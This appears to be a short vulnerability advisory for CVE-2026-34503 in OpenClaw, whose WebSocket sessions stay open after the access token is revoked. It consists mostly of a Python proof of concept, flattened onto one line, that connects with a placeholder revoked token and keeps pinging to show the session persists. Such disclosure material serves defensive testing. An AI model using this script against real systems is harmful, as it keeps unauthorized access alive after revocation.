CVE-2026-34503 OpenClaw WebSocket会话未正确终止漏洞

import websocket import time # This PoC demonstrates that a WebSocket connection remains active # even after the token has been revoked on the server side. def test_websocket_persistence(): # Target URL (example) url = "wss://openclaw.example.com/ws" # Use a token that is about to be revoked or has been revoked headers = { "Authorization": "Bearer REVOKED_TOKEN_HERE" } print("[+] Attempting to establish WebSocket connection...") ws = websocket.create_connection(url, header=headers) print("[+] Connection established.") try: while True: # Simulate sending data over the revoked session ws.send("ping") result = ws.recv() print(f"[+] Server response: {result}") print("[+] Session still active despite token revocation.") time.sleep(5) except KeyboardInterrupt: ws.close() print("[!] Connection closed by user.") if __name__ == "__main__": test_websocket_persistence()